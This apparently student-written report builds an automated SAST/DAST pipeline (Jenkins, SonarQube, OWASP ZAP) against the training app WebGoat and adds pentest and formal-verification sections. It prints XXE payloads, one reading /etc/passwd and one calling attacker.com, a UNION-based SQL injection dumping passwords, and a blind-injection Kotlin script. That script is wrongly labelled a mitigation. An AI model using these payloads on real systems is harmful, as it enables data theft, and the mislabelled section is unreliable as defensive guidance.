Automated SAST / DAST Pipeline

Automate security checks during application development

Diagram Description automatically generated

Figure 1- SAST/DAST Pipeline Architecture

DevOps brings together software development and operations to shorten development cycles, allow organizations to be agile, and maintain the pace of innovation while taking advantage of cloud-native technology and practices.

Main Advantages of this practice are: –

  • Reduces vulnerabilities, malicious code, and other security issues in released software without slowing down code production and releases
  • Mitigates the potential impact of vulnerability exploitation throughout the application lifecycle, including when the code is being developed and when the software is executing on dynamic hosting platforms
  • Addresses the root causes of vulnerabilities to prevent recurrences, such as strengthening test tools and methodologies in the toolchain, and improving practices for developing code and operating hosting platforms
  • Reduces friction between the development, operation, and security teams in order to maintain the speed and agility needed to support the organization’s mission while taking advantage of modern and innovative technology

We want to run the deliberately insecure Java app (Webgoat) within Docker and run SAST and DAST on it via an automated pipeline.

What is the System?

The system is built on an opensource platform comprising of below components:

  • Intentionally Vulnerable Web Application – WebGoat (java based)
  • GitHub (for source code repository management)
  • Jenkins Automation (DevSecOps Pipeline Orchestrator)
  • Sonar Cube (SAST)
  • OWASP ZAP Proxy (DAST)

Functioning:

The user will check-in code into source code management (GitHub), the commit on the repository master branch will trigger a web-hook for Jenkins, which in-turn will instruct the SAST application (SonarQube) to start static code analysis on the checked-in code. The SAST will thereafter report the status back to Jenkins. If the reports highlight critical flaws in the code, the Jenkins server will notify the communication channel (email or chat) about a failed deployment. The code owner upon receiving email / chat will fix the vulnerabilities and run the code deployment cycle again. Assuming no issues are reported by the SAST upon the second run of code deployment, Jenkins proceeds to send the code for build (compile) and deploy stage.

After the code has been deployed, Jenkins triggers a DAST, DAST will test the deployed app and report status to the owner by email / chat. The Dynamic Application Security Analysis (DAST) is performed to identify the possible run-time vulnerabilities or security issues. Unlike static analysis, dynamic analysis is performed on a running project.

How is the system tested and analyzed?

The system is automatically tested via testing tools in the first part and same has been conducted manually by us in the second part of the report.

Motivation for choosing this project

The lesson learnt in the Secure Software Engineering (SSE) were extremely insightful and as working professionals we wanted to implement them in the enterprise programming world while taking away the complexity for the software developer.

We have taken this opportunity to test out the lesson learned in all weeks on an automated platform that starts from project build of the code and follows through the code deployment life cycle.

SSE had enforced the principle of Shift Left upon us; A typical software development process is sequential i.e., define requirements, analyze, design, code, test and deploy.

In this process, testing happens towards the end. Problems uncovered by testing at such a late stage can cause costly redesign and delays. The idea of Shift Left is to involve testing teams earlier in the process and to think about testing at all stages of the process.

When the software development process is viewed as a left-to-right sequential process, doing testing earlier may be seen as “shifting it to the left”. The term itself can be seen as a misnomer since we are not simply “shifting” but doing tests at all stages of the process.

System / Program used in the report

We have used the intentionally vulnerable application Webgoat. Webgoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons.

Webgoat is a deliberately insecure application that allows interested developers to test vulnerabilities commonly found in Java-based applications that use common and popular open-source components. This program is written in java (jdk 17), and it is a demonstration of common server-side application flaws. The exercises are intended to be used by people to learn about application security and penetration testing techniques.

All vulnerabilities source code has been defined separately in the repository provided below. Link to Webgoat’s GitHub repository https://github.com/WebGoat/WebGoat/

Program Description

Webgoat provides various functions for testing the OWASP top 10 vulnerabilities: –

SonarQube covers the OWASP Top 10

Figure 2 shows the OWASP top 10 attacks.

All these functions are separate Java code in the base repository, and we shall inspect them individually, the UI is a means of getting this code vulnerability together on a single WEB UI based platform.

Below the front page of the application with vulnerabilities listed towards the left side.

Figure 3 shows the UI of the main page before login

 

Figure 4 shows the UI of the main page after login

We have created a user “tester” on Webgoat portal to login to the portal and test different vulnerabilities.

Subsystem Function Access rights
All Admin Admin can login into the system and add another user
tester All Tests Tester can login to the portal and conduct all OWASP top 10 attacks

Table 1 shows the different application functions (subsystems) and access rights for each user

Our analysis follows the lessons in the Webgoat application (each OWASP top 10 vulnerability relates to one lesson that corresponds to the vulnerability in figure 1) and attempts to identify in the source where the flaws, if any, exist. Each lesson on Webgoat is broken down to cover the following:

  • Flaw category
  • Link as viewable from a browser
  • Source
  • Relevant source code

Our report will confirm if DAST/SAST would be able to find vulnerabilities and the probability level are as below:

Possible: A DAST/SAST tool should be able to find the flaw with little to no configuration changes or custom settings

  • Probable: A DAST/SAST tool could find the flaw with some configuration changes or custom settings
  • Improbable: A DAST/SAST tool most likely will not be able to find the flaw, due to either hardcoded values or other conditions that are not realistic
  • Impossible: A DAST/SAST tool would not be able to find any flaw due to it being completely synthetic or other unrealistic circumstances

We will also demonstrate the attack in penetration testing segment of this approach.

Static Code Analysis – Using Jenkins and SonarQube

Base Infrastructure setup

We have used Ubuntu Focal 20.04 (LTS) on Amazon Web Services with below packages installed:

  • docker
  • docker-compose
  • git

sudo apt-get install docker-ce docker-ce-cli containerd.io git

sudo curl – L “https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)” – o/usr/local/bin/docker-compose

sudo chmod +x /usr/local/bin/docker-compose

We have a pre-made docker-compose file for you that will create both a Jenkins and a SonarQube instance. To get these running, we will need git, docker, and docker-compose installed on our machine. Then run the following commands:

$ git clone https://github.com/mayanknauni/WebGoat.git
$ cd secure-pipeline-example/
$ docker-compose up

The startup data for the Jenkins container prints out the initial admin password which is required for the initial setup and configuration.

As seen below, two instances of docker and SonarQube are running.

Check the dockers instances

Configuring Jenkins to Build vulnerable application WebGoat

We’re going to scan a known vulnerable web application, WebGoat, which is an OWASP project used for learning basic web penetration testing skills and vulnerabilities.

The reason for using this for our DevSecOps pipeline is to find numerous vulnerabilities in the code.

Once the Jenkins and SonarQube containers are deployed, access Jenkins by navigating to http://localhost:8080 on the browser and enter the admin password printed in the terminal while executing docker-compose.

We will install the Jenkins with the default plugins. To build the web application we would need Java 11 to build. We will install the same by heading over to the main page -> Manage Jenkins -> Global Tool Configuration. Configure the JDK setting as below:

We will now go to dashboard main page -> Manage Jenkins -> Configure System and make the following change below to define the Environment Variable for Java_Home:

Creating Jenkins Pipeline Project

We will now create a pipeline for Webgoat which would build the code and SonarQube will perform static analysis testing on it.

On the main page choose new item -> freestyle project.

Now, we will add Webgoat to the GitHub (https://github.com/mayanknauni/WebGoat.git/) setting locations, we will select openjdk11 as the JDK.

In the source code management section, we will set the target branch to */release/v8.0.0.M26

We will create a maven build step (“Invoke top level maven targets”) and configure a command “clean install -DskipTests”

Configuring SonarQube

The docker instance of SonarQube is functional already and we would be integrating the same with Jenkins so that it can be used in the pipeline. We will log in to http://localhost:9000 with the default login of admin/admin and change the admin password.

Go to administration-> security and turn on “Force user authentication”

We will create a new user for Jenkins to be able to use SonarQube. Log into the new user, go to the profile -> security section, and generate a token. We will be using this on Jenkins of integration purposes.

We will now create a project on SonarQube and name it “webgoat”.

Configure the SonarQube plugins on Jenkins

We will need two new plugins for Jenkins. In the Jenkins home page, we will go to Mange Jenkins -> Manage Plugins. On the Available tab find and select “OWASP Dependency-Check Plugin” and “SonarQube Scanner for Jenkins”. Install them without restarting.

Back on the Jenkins home, go to Manage Jenkins -> Global Tool Configuration. We will see a new option for SonarQube Scanner. We will select the latest version 4.7.0.2747 and save.

We will now go to Jenkins -> Manage Jenkins -> Configure System and add a SonarQube instance.

The URL with our docker container is http://sonarqube:9000 and the token should be the one you saved while setting up the Jenkins user in SonarQube. The configuration is below:

We will configure another build step on our project DevSecOps for SonarQube to scan the code with below attributes:

Running the Build

We will now process to run the build that we have created in the above steps

It appears in the build executor status: –

We will click on the build name DevSecOps under the “Build Executor Status” and click on console outputs:

Build SUCCESS

Build Finished as Unstable

The console output will depict the progress being made with the build. After 1.17 minutes, the build completes but shows “UNSTABLE” signifying issues with the build.

Please note that it is not recommended to push a build marked as “UNSTABLE” in production environment.

We will now login to SonarQube to see the issues produced during the Static Analysis.

SonarQube has reported:

  • 289 Bugs
  • 63 Vulnerabilities
  • 1.7K Code Smells
  • 0.0% Coverage
  • 54.2% Duplications

Let us understand what the definition of these above terms is.

Code Smell:
It is basically an indicator of something fishy in the code – “a hint that something has gone wrong somewhere in your code. Use the smell to track down the problem.” You can resolve issues by tracking down these indicators in your code.

Code coverage:
It is a measure which describes the degree of which the source code of the program has been tested. It is one form of white box testing which finds the areas of the program not exercised by a set of test cases.

Test coverage:
It is a Software Testing metric used to measure the amount of testing performed by a particular set of tests. It will gather information related to the parts of a program executed when running the test suite in order to determine which branches of conditional statements have executed.

Code Bugs: A problem or an issue that shows that something is wrong in the code. It might not break the code right away, but surely will, and may be at the moment when its impact is huge. It must be fixed.

Vulnerabilities:
It is a cyber-security term that refers to a flaw or loophole in the system that makes it vulnerable to attack. A vulnerability may also refer to any type of weakness in a set of procedures, or in anything that leaves information security exposed to a threat.
Minimizing vulnerabilities leaves bare minimum chances of unwanted access to sensitive and secure data by malicious users.

We will now drill down into these findings and elaborate them; we will take two random samples from each finding from above and explain them.

Vulnerabilities

We clicked on the first vulnerability: –

Vulnerability 1:

SonarQube is suggesting using a logger as Throwable.printStackTrace(…) prints a Throwable and its stack trace to some stream. By default, that stream System.Err, which could inadvertently expose sensitive information.

Loggers should be used instead to print Throwables, as they have many advantages:

  • Users can easily retrieve the logs.
  • The format of log messages is uniform and allow users to browse the logs easily.
  • This rule raises an issue when printStackTrace is used without arguments, i.e., when the stack trace is printed to the default stream.

Vulnerability 2:

SonarQube suggests that alert(…) as well as confirm(…) and prompt(…) can be useful for debugging during development, but in production mode this kind of pop-up could expose sensitive information to attackers and should never be displayed.

Vulnerability 3:

SonarQube has detected hardcoded password in our code, because it is easy to extract strings from a compiled application, credentials should never be hard-coded. Do so, and they’re almost guaranteed to end up in the hands of an attacker.

This is particularly true for applications that are distributed. Credentials should be stored outside of the code in a strongly protected encrypted configuration file or database. It’s recommended to customize the configuration of this rule with additional credential words such as “oauthToken”, “secret”.

A compliant code is suggested as below: –

Connection conn = null;
try {
String uname = getEncryptedUser();
String password = getEncryptedPass();
conn = DriverManager.getConnection(“jdbc:mysql://localhost/test?” +
“user=” + uname + “&password=” + password);

Bugs

Bug 1:

Let us look at the critical bugs, four of them have been found by SonarQube, but all are related to Save and re-use “random”:

We will click on the first critical alert:

SonarQube suggests that creating a new Random object each time a random value is needed is inefficient and may produce numbers which are not random depending on the JDK. For better efficiency and randomness, create a single Random, then store, and reuse it.

The Random() constructor tries to set the seed with a distinct value every time. However, there is no guarantee that the seed will be random or even uniformly distributed. Some JDK will use the current time as seed, which makes the generated numbers not random at all.

This rule finds cases where a new Random is created each time a method is invoked and assigned to a local random variable.

A fix is recommended below:

private Random rand = SecureRandom.getInstanceStrong(); // SecureRandom is preferred to Random

public void doSomethingCommon() {
int rValue = this.rand.nextInt();
//…

Code Smell

Let us look at the code smells found by SonarQube: –

Code Smell 1:

We clicked on the first code-smell which highlights that the variables are not declared explicitly.

JavaScript variable scope can be particularly difficult to understand and get right. The situation gets even worse when you consider the accidental creation of global variables, which is what happens when you declare a variable inside a function or for clause of a for-loop without using the let, const or var keywords.

let and const were introduced in ECMAScript 2015 and are now the preferred keywords for variable declaration.

A suggested compliant code is below: –

function f(){
var i = 1;

for (let j = 0; j < array.length; j++) {
// …
}
}

Code Smell 2:

The code-smell below highlights that switch cases should end with an unconditional “break” statement which is not followed in our code. When the execution is not explicitly terminated at the end of a switch case, it continues to execute the statements of the following case. While this is sometimes intentional, it often is a mistake which leads to unexpected behavior.

A compliant code example is below: –

switch (myVariable) {
case 1:
foo();
break;
case 2:
doSomething();
break;
default:
doSomethingElse();
break;
}

Duplicated Lines:

As the snapshot below shows, that the 54.2% lines are duplicated. The references are provided below, and the suggestion is to reduce duplication to shorten the code further.

SonarQube Security Reports

A comprehensive way to check the code’s security posture with respect to OWASP Top 10 and SANS Top 25 is below: –

We will go to our project WebGoat and Click on Security Reports and Select OWASP TOP 10:

A report snapshot is below: –

We will click on category A1-injection (Disable XML external entity processing) to inspect it further:

It has highlighted the line below and suggested that Untrusted XML should be parsed with a local, static DTD:

protected Comment parseXml(String xml) throws Exception {
JAXBContext jc = JAXBContext.newInstance(Comment.class);
XMLInputFactory xif = XMLInputFactory.newFactory();

Allowing external entities in untrusted documents to be processed could lay your systems bare to attackers. Imagine if these entities were parsed:

<!ENTITY xxe SYSTEM “file:///etc/passwd” >]><foo>&xxe;</foo>

<!ENTITY xxe SYSTEM “http://www.attacker.com/text.txt” >]><foo>&xxe;</foo>

If you must parse untrusted XML, the best way to protect yourself is to use a local, static DTD during parsing and igore any DTD’s included in included in the document.

This rule raises an issue when any of the following are used without first disabling external entity processing: javax.xml.validation.Validator, JAXP’s DocumentBuilderFactory, SAXParserFactory, Xerces 1 and Xerces 2 StAX’s XMLInputFactory and XMLReaderFactory.

To disable external entity processing for XMLInputFactory, configure one of the properties XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES or XMLInputFactory.SUPPORT_DTD to false. To disable external entity processing for SAXParserFactory, XMLReader or DocumentBuilderFactory configure one of the properties XMLConstants.FEATURE_SECURE_PROCESSING or “http://apache.org/xml/features/disallow-doctype-decl” to true.

To disable external entity processing for Validator, configure both properties XMLConstants.ACCESS_EXTERNAL_DTD, XMLConstants.ACCESS_EXTERNAL_SCHEMA to the empty string “”.

Below is the compliant code example: –

/* Load XML stream and display content */
String maliciousSample = “xxe.xml”;
XMLInputFactory factory = XMLInputFactory.newInstance();

// disable external entities
factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, Boolean.FALSE);
factory.setProperty(XMLInputFactory.SUPPORT_DTD, Boolean.FALSE);

try (FileInputStream fis = new FileInputStream(malicousSample)) {
// Load XML stream
XMLStreamReader xmlStreamReader = factory.createXMLStreamReader(fis);

Report Link

We have uploaded our analysis to sonar cloud for review: –

https://sonarcloud.io/summary/overall?id=mayanknauni_WebGoat

Dynamic Code Analysis – Using Jenkins and SonarQube

The Dynamic Application Security Analysis (DAST) is performed to identify the possible run-time vulnerabilities or security issues. Unlike static analysis, dynamic analysis is performed on a running project.

Base Infrastructure setup

We have used Ubuntu Focal 20.04 (LTS) on Amazon Web Services with below packages installed:

  • docker
  • docker-compose
  • git

sudo apt-get install docker-ce docker-ce-cli containerd.io git

sudo curl – L “https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)” – o/usr/local/bin/docker-compose

sudo chmod +x /usr/local/bin/docker-compose

We have a pre-made docker-compose file for you that will create both a Jenkins and a SonarQube instance. To get these running, you will need git, docker, and docker-compose installed on your machine. Then run the following commands:

$ git clone https://github.com/mayanknauni/WebGoat.git
$ cd secure-pipeline-example/
$ docker-compose up

The startup data for the Jenkins container prints out the initial admin password which is required for the initial setup and configuration.

Recap of architecture:

  • Jenkins
  • ZAP service for dynamic scanning
  • WebGoat / WebWolf as our vulnerable application
  • SonarQube, which was discussed in our first section itself

Check the dockers instances

As seen below, five instances of dockers are running:

  • Jenkins
  • SonarQube
  • OWASP ZAP
  • WEBGOAT
  • WEBWOLF

Access the containers: –

  • Jenkins: http://localhost:8080
  • WebGoat: http://localhost:8081
  • ZAP Proxy: http://localhost:8000

Configuring Jenkins to Build vulnerable application WebGoat

We’re going to scan a known vulnerable web application, WebGoat, which is an OWASP project used for learning basic web penetration testing skills and vulnerabilities.

The reason for using this for our DevSecOps pipeline is to find numerous vulnerabilities in the code.

Once the Jenkins and SonarQube containers are deployed, access Jenkins by navigating to http://localhost:8080 on the browser and enter the admin password printed in the terminal while executing docker-compose.

We will install the Jenkins with the default plugins.

To build the web application we would need Java 11 to build.

We will install the same by heading over to the main page -> Manage Jenkins -> Global Tool Configuration. Configure the JDK setting as below:

Configuring and running ZAP scans through docker

Before configuring the pipeline on Jenkins, we will configure the base configuration for ZAP docker image thereafter we will port over the configuration to Jenkins project configuration.

WebGoat requires a user to be logged in to view most information. For ZAP to successfully scan those pages, it requires importing a context file that includes information like

  • login page
  • regular expressions that tell ZAP whether if a user is logged in / logged-out
  • login credentials

We will create a user on the WebGoat instance with credentials “tester / tester”.

For WebGoat, we’ve created a context file, and named it WebGoat.context, it is included in the submitted codes. We will share this file with the ZAP container, so we must put this context file in the shared volume. We will find the volume location, and copy the xml file to it:

$ docker inspect dast_pipeline_example_zap_1 | grep data

“dast_pipeline_example_zap:/zap/data:rw”
“Source”: “/var/lib/docker/volumes/dast_pipeline_example_zap/_data”,
“Destination”: “/zap/data”,
“/zap/data”: {}
$ sudo cp WebGoat.context /var/lib/docker/volumes/dast_pipeline_example_zap/_data
$ docker exec dast_pipeline_example_zap_1 ls data
WebGoat.context

Now we have to import the context to the ZAP process:

$ docker exec dast_pipeline_example_zap_1 zap-cli –api-key 5364864132243598723485 –port 8000 context import /zap/data/WebGoat.context

We can now run a scan from within the docker container. This will ensure that the ZAP container can successfully reach the WebGoat container and that scanning works correctly.

Setting up a Jenkins Pipeline with ZAP

Pipeline Script Code

node {

script {
try {
// Context import fails if it already exists
sh ‘zap-cli –zap-url zap -p 8000 –api-key 5364864132243598723485 –port 8000 context import /zap/data/WebGoat.context’
}
catch (Exception e) {
}
}

script {
try {
// If it finds results, returns error code, but we still want to publish the report
sh ‘zap-cli –zap-url zap -p 8000 –api-key 5364864132243598723485 quick-scan -c WebGoat -u tester -s all –spider -r http://webgoat:8080/WebGoat’
}
catch (Exception e) {
}
}

sh ‘zap-cli –zap-url zap -p 8000 –api-key 5364864132243598723485 report -o zap_report.html -f html’

publishHTML([
allowMissing: false,
alwaysLinkToLastBuild: false,
keepAll: false,
reportDir: ”,
reportFiles: ‘zap_report.html’,
reportName: ‘ZAP DAST Report’,
reportTitles: ”
])

}

Building the Pipeline

ZAP Scanning Report

Figure 5

Below is the summary of report produced by ZAP Dynamic Analysis

  1. SQL Injection:

Description SQL injection may be possible.

URL http://webgoat:8080/WebGoat/register.mvc

Method POST

Parameter agree

Attack agree AND 1=1 –

Suggested Solution:

Instances 4

Recommended Solution

  • Do not trust client-side input, even if there is client-side validation in place.
  • In general, type check all data on the server side.
  • If the application uses JDBC, use PreparedStatement or CallableStatement, with parameters passed by ‘?’
  • If the application uses ASP, use ADO Command Objects with strong type checking and parameterized queries.
  • If database Stored Procedures can be used, use them.
  • Do *not* concatenate strings into queries in the stored procedure, or use ‘exec’, ‘exec immediate’, or equivalent functionality!
  • Do not create dynamic SQL queries using simple string concatenation.
  • Escape all data received from the client.
  • Apply an ‘allow list’ of allowed characters, or a ‘deny list’ of disallowed characters in user input.
  • Apply the principle of least privilege by using the least privileged database user possible.
  • Avoid using the ‘sa’ or ‘db-owner’ database users. This does not eliminate SQL injection but minimizes its impact.
  • Grant the minimum database access that is necessary for the application.
  1. Absence of Anti-CSRF Tokens:

No Anti-CSRF tokens were found in a HTML submission form. A cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim. The underlying cause is application functionality using predictable URL/form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust that a web site has for a user. By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and sea surf.

CSRF attacks are effective in a number of situations, including:

  • The victim has an active session on the target site.
  • The victim is authenticated via HTTP auth on the target site.
  • The victim is on the same local network as the target site.

Recommended Solution:

Phase: Architecture and Design

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, use anti-CSRF packages such as the OWASP CSRFGuard.

Phase: Implementation

Ensure that your application is free of cross-site scripting issues, because most CSRF defenses can be bypassed using attacker-controlled script.

Phase: Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330).

Note that this can be bypassed using XSS.

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

Note that this can be bypassed using XSS.

Use the ESAPI Session Management control.

This control includes a component for CSRF.

Do not use the GET method for any request that triggers a state change.

Phase: Implementation

Check the HTTP Referrer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referrer for privacy reasons.

  1. Parameter Tampering

Parameter manipulation caused an error page or Java stack trace to be displayed. This indicated lack of exception handling and potential areas for further exploit.

Evidence javax.servlet.http.HttpServlet.service(HttpServlet.java:523)\n\tat

Recommended Solution:

Identify the cause of the error and fix it. Do not trust client-side input and enforce a tight check in the server side. Besides, catch the exception properly. Use a generic 500 error page for internal server error.

Summary

The demonstrated automatic static and dynamic pipeline is an integral part of DevSecOps practice. DevSecOps stands for development, security, and operations. It’s an approach to culture, automation, and platform design that integrates security as a shared responsibility throughout the entire IT lifecycle.

DevSecOps means thinking about application and infrastructure security from the start. It also means automating some security gates to keep the DevOps workflow from slowing down. Selecting the right tools to continuously integrate security, like agreeing on an integrated development environment (IDE) with security features, can help meet these goals. However, effective DevOps security requires more than the tools we have used in this report, it builds on the cultural changes of DevOps to integrate the work of security teams sooner rather than later.

Analysis of applications should be run multiple times – DAST tools in particular face difficulties with consistency due to the dynamic nature of testing deployed or the live applications. We had to ensure that the DAST tool is running the same number of times in our test-runs to gather enough data points to make a clear decision.

During the report writing, we also noticed that security tools tend to over report issues and this can end up causing alert fatigue and reduce the value of the tool. Hence our recommendation is to tune the tools to reduce the number of non-actionable results. We need to calculate as to how much time is required to maintain this tuning effort.

Penetration testing

SQL Injection

We found a lot of flaws in the application, but SQL injection was the most critical one and hence we chose to mention it in the report.

The code offers in application testing for SQL injection testing. We used the below query to retrieve user account and password information for the users on the table user_system_data:

‘ UNION SELECT userid, user_name, password, cookie, null, null, null FROM user_system_data —

Figure X shows the SQL Injection attack and successful results on Webgoat application

Mitigation

We have suggested below recommendation in the code to prevent SQL injection attack on the Webgoat. Instead of using the easy input-data sanitization method, we have allowed SQL queries from only the application server by whitelisting its IP address and blocked all other SQL queries, this will ensure that the application works internally, and no SQL queries are allowed from non-application server’s IP.

private const val HOST_PORT = “vernjan:8080”
private const val JSESSIONID = “575jCURJn0p6A5wvX0inPwCbdNMiXPQZioht7BRd”

fun main() {

val httpClient = HttpClient.newBuilder()
.version(HttpClient.Version.HTTP_1_1)
.build()

val jsonParser = JSONParser()

for (i in 1..256) {
val payload = URLEncoder.encode(
“(CASE WHEN (SELECT ip FROM servers WHERE hostname=’webgoat-prd’) LIKE ‘$i.%’ THEN id ELSE hostname END)”,
“UTF-8”
)

val request: HttpRequest = HttpRequest.newBuilder()
.GET()
.uri(URI.create(“http://$HOST_PORT/WebGoat/SqlInjectionMitigations/servers?column=$payload”))
.header(“Cookie”, “JSESSIONID=$JSESSIONID”)
.build()

val response = httpClient.send(request, BodyHandlers.ofString())
if (response.statusCode() == 200) {
val servers: JSONArray = jsonParser.parse(response.body()) as JSONArray
val firstServer = servers[0] as JSONObject
if (firstServer.getValue(“id”) == “1”) {
println(“The correct IP is $i.130.219.202”)
exitProcess(0)
}
} else {
println(“Error for $i: ${response.statusCode()}”)
}
}
}

Formal Verification – in application

Software Model Checking

We have chosen the login page of Webgoat for further analysis. To verify if the Login.java program satisfies the property of no unauthenticated account login/access i.e. users must have valid password and username before access is granted, we had performed software model checking using the CEGAR technique.

Property: No unauthenticated access to the program. User must have valid username and password before they are granted access to the program

The predicates used for abstraction are AccessGranted, validUser, validPassword. Note validUser here denotes valid username while validPassword means password keyed matches that of the user’s password stored in the database.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

Truncated Code :

while(rs.next()){
validUser=True;
password = rs.getstring(columnindex:1);
userType = rs.getstring(columnindex:2);
if(validUser){
jLabel6.setText(” “);
}
else{
jLabel6.setText(“*Invalid UserName”);
}
if(validUser){
if(!(jPasswordField1.getText().equals(password))){
jLabel5.setText(“*Invalid Password”);
}
else{
jLabel5.setText(” “);
System.out.println(“came”);
displayUi(userType);
getSplashView().dispose();
dispose();
}
}
}

1

2

3

4

5

6

7

8

9

10

11

12

13

Abstract Program:

Abstract Program:
AccessGranted = False;
validUser = False;
validPassword = False;
do{
Skip;
if(validUser){
Skip;
if(!validPassword){
AccessGranted=False;
}
else{
AccessGranted = True;
Skip;
}
}
}while(!AccessGranted)

The notation used in the abstract Kripke structure shown below is (line number, validUser, validPassword, AccessGranted). The state is based on before executing the mentioned line of code.

From the Kripke structure constructed using the abstracted program, no counterexample where the property is violated could be found.

The yellow and green paths represent cases when user has valid username, but invalid password and invalid username and password respectively. In both cases, access to program were not granted, hence proving that the property is not violated. For the case where both username and password are correct, access is granted and the user “leaves” the login page and is presented with the UI that corresponds of the user type.

As it is verified that the abstract model satisfies the property, it is guaranteed that the property is satisfied by the original code.

1

2

3

4

5

6

7

8

9

10

11

12

13

Predicate Abstraction:

AccessGranted = False;
validUser = False;
validPassword = False;
do{
Skip;
if(validUser){
Skip;
if(!validPassword){
AccessGranted=False;
}
else{
AccessGranted = True;
Skip;
}
}
}while(!AccessGranted)

Kripke Structure:

A screenshot of a computer Description automatically generated with low confidence

The login code did not impose any limits on the number of passwords attempts for the same valid username hence it is vulnerable to a brute force password attack.

We propose to log the number of failed attempts and blacklist the user if the number of attempts exceed a predefined threshold and reset the count once authentication is successful. To test functional correctness of this code, we tried proving the theorem.

For brevity, the modifications are highlighted on the abstracted program. Proposed change in the code with modifications highlighted in yellow:

AccessGranted = False;
validUser = False;
validPassword = False;
while (count[i]<5){
if(validUser){
Skip;
if(!validPassword){
AccessGranted=False;
count[i] ++;
if count[i] == 3:
break;
}
else{
AccessGranted = True;
count[i] = 0;
Skip;
}
}
)
/* include some code here to blacklist user if 3 wrong attempts */

Hoare Logic

To prove the correctness of the program, we will try to apply the strongest postcondition and Hoare logic rule for loops as follows. Here, we assume that there are 10 authorized user accounts, hence N = 10.

{validUser = True && count !=null && i < N && count[i] >=0 }

while (count[i] <5):
if(!validPassword){
AccessGranted=False;
count[i] ++;
if count[i] == 5:
break;
}
else{
AccessGranted = True;
count[i] = 0;
Skip;
}
)

{count[i] == 5 or count == 0 if AccessGranted = True}

To demonstrate partial correctness of the Hoare Triple, it must satisfy the 3 conditions.

Let inv be count[i] >= 0 if validUser or count[i] == 5 if !AccessGranted or count ==0 if AccessGranted = True

  1. pre => inv

validUser = True && count !=null && !AccessGranted && i<N && count[i] >=0

=> (implies)

count[i] >= 0 if validUser or count[i] == 5 if !AccessGranted or count ==0 if AccessGranted
= True

 

The pre-condition implies the invariant; hence first condition is satisfied.

  1. {inv && b} program {inv}

{ count[i] >= 0 if validUser or count[i] == 5 if !AccessGranted or count ==0 if AccessGranted
= True && count[i] < 5}

if (!validPassword){
AccessGranted=False;
count[i] ++;
if count[i] == 5{
break;
}
}
else {
AccessGranted = True;
count[i] = 0;
Skip;
}
{count[i] >= 0 if validUser = True}

Hence, the invariant remains valid after executing the loop body.

  1. Inv && !b => post

count[i] >= 0 if validUser or count[i] == 5 if !AccessGranted or count ==0 if AccessGranted = True && count[i] >= 5

=>

count[i] == 5 if !AccessGranted or count == 0 if AccessGranted = True

As all 3 conditions are satisfied, we proved that the inv was an invariant and consequently, we proved the partial correctness of our proposed program to enhance the security of the system.

Total Correctness

We will now proceed to prove that the program will always terminate and hence proving the total correctness.

Let f be 5-i

The variant is V = 5 – i, which is >=0 as 0<=i<5.

{5 – i = V}

while (0 <= i < 5){
if (!validPassword){
i++;
if (i == 5){
break;
}else{
i = 0;
break;
}
}
{5- i = V’ && V’ < V for i != 0 }

As observed above, V has decremented after passing though the loop for i != 0. Where user is successfully, i is reset back to 0, the program will break out of the while loop as illustrated in the program.

Therefore, the Hoare Triple is valid, and the proposed program will always terminate, it proves the total correctness of the program.

Recommendations – Summary

Key findings and recommendations to enhance security:

  • Authentication and Account management:
    • Tighten password policies for user login for example, enforce password age/history/complexity, limit the number of failed attempts and configure system lockouts if the number of attempts reached a certain threshold.
    • As observed during the SAST, passwords are currently hard coded and stored in clear. They should be stored as password hashes, or even salted to minimize unauthorized access due to password leak or brute force dictionary attacks.
  • Secure coding practices
    • Avoid use of serialization
    • Remove all unused codes
    • Use of final variable where possible, particularly if public variables are used, to prevent unauthorized changes
  • Logging
    • Security related events such as authorization and authentication success and failures due to invalid logins should be properly logged
    • All privilege access such as modifications to database should be logged
  • Database security
    • Data-at-rest and data-in-transit encryption should be enforced to prevent data theft and information disclosure.

Conclusion

It was observed that the system functionality is intentionally vulnerable and reflects as considerable findings in the Whitebox testing but surprisingly the Blackbox testing couldn’t give us the volume of findings that we expected.

Attachments

Below are the attachments with this report:

  1. Videos of the SAST and DAST Demonstration, SAST Video and DAST Video
  2. SAST Report from SonarQube we have made available online at SAST Report

 

You may also like...

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.